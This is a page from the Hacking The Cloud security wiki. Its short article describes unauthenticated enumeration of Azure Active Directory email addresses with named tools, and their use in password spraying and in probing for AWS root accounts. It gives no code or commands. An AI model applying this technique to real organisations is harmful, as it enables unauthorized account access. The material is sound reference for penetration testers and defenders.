class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3 checked> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=true> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Wes Ladd (@righteousgambit)</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/azure/enum_email_addresses.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=unauthenticated-enumeration-of-valid-azure-active-directory-email-addresses>Unauthenticated Enumeration of Valid Azure Active Directory Email Addresses<a class=headerlink href=#unauthenticated-enumeration-of-valid-azure-active-directory-email-addresses title="Permanent link">&para;</a></h1> <p>You can enumerate valid email addresses associated with the Azure Active Directory service using <a href=https://github.com/knavesec/CredMaster>CredMaster</a> or <a href=https://github.com/righteousgambit/quiet-riot>Quiet Riot</a>. These addresses can be used for password spraying attacks, a technique where an attacker attempts to authenticate against multiple accounts using a set of commonly used passwords. This can potentially grant unauthorized access to the target account. It can also be used to test for valid Root User accounts in AWS, assuming that the email address is the same. Then, a similar password spraying approach can be implemented against identified AWS Root User accounts.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 12, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">April 11, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/righteousgambit class=md-author title=@righteousgambit> <img src="https://avatars.githubusercontent.com/u/35244835?v=4&size=72" alt=righteousgambit> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: 